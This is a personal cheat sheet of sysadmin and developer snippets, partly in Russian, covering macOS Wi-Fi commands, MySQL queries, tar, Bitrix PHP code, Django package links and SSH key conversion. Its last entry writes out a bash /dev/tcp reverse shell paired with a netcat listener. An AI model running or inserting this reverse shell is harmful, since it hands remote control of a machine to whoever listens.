airport:
/System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport -s
sudo networksetup -setairportpower en1 off
sudo networksetup -setairportpower en1 on

чтобы подобрать значение table_open_cache:
SHOW GLOBAL STATUS LIKE 'Opened_tables';

brew qemu dependencies: libtasn1, nettle, gnutls

nvram boot-args=kext-dev-mode=1

exclude folder d in b folder:
tar -zcf b.tgz b --exclude="b/d"

OS X Yosemite включить автоповтор при зачатии клавиши (необходимо перелогиниться):
defaults write -g ApplePressAndHoldEnabled -bool false

add nophoto.png
dd(CFile::SaveFile(CFile::MakeFileArray('nophoto.png'), 'iblock'));

grep -Rl "User username" /etc/vhosts

debug smtp server:
python -m smtpd -n -c DebuggingServer localhost:25

bitrix index page check:
$APPLICATION->GetCurPage(true) == SITE_DIR."index.php"

поиск файлов, доступных на запись для группы:
find . -perm /g+w -print

SELECT USER, CPU_TIME FROM INFORMATION_SCHEMA.USER_STATISTICS ORDER BY CPU_TIME DESC;

расчет высоты стола:
Ваш рост * 75 см / 175 см = Высота стола

mysql change default storage engine:
set global storage_engine=MYISAM;
show engines;

Конечно, никуда без django-annoying. А еще полезны:
https://bitbucket.org/jespern/django-piston/overview
https://bitbucket.org/offline/django-publicauth/overview
https://bitbucket.org/jezdez/django-robots/overview
https://bitbucket.org/david/django-storages/overview
https://bitbucket.org/zuber/django-newtagging/overview
https://bitbucket.org/Kizlum/django-lightsearch/overview
https://bitbucket.org/slav0nic/django-flickrstorage/overview

ALTER DATABASE XXX DEFAULT COLLATE utf8_unicode_ci;

convert putty public key to openssh:
ssh-keygen -i -f id_rsa.pub >> .ssh/authorized_keys

bitrix highloadblock usage:
if (!CModule::IncludeModule('highloadblock')) {
echo 'highloadblock module not found';
die();
}

use Bitrix\Highloadblock as HL;
use Bitrix\Main\Entity;

$hlblock = HL\HighloadBlockTable::getById(1)->fetch();
$entity = HL\HighloadBlockTable::compileEntity($hlblock);
$main_query = new Entity\Query($entity);
$main_query->setSelect(array('*'));
$main_query->setOrder(array('id' => 'desc'));
$main_query->setFilter(array('>UF_NUMBER' => 123));

$result = $main_query->exec();
$result = new CDBResult($result);
while ($row = $result->Fetch()) {
dd($row);
}

find:
http://www.tecmint.com/35-practical-examples-of-linux-find-command/

перезагрузить модуби битрикса через систему обновления:
BX_SUPPORT_MODE=Y

создать большой файл в unix:
/bin/dd if=/dev/random of=./aa count=100 bs=1m

abort: no suitable response from remote hg!

[ui]
remotecmd = ~/.venv/bin/hg

генерируем пароли в консоли:
/usr/bin/pwgen -acn 12 1

Google Authenticator for python )
import onetimepass as otp
my_secret = '<some secret here>'
my_token = otp.get_totp(my_secret)
my_token

remote shell

remote
/bin/bash -i > /dev/tcp/ipaddr/18889 0<&1 2>&1

local
nc -n -vv -l 18889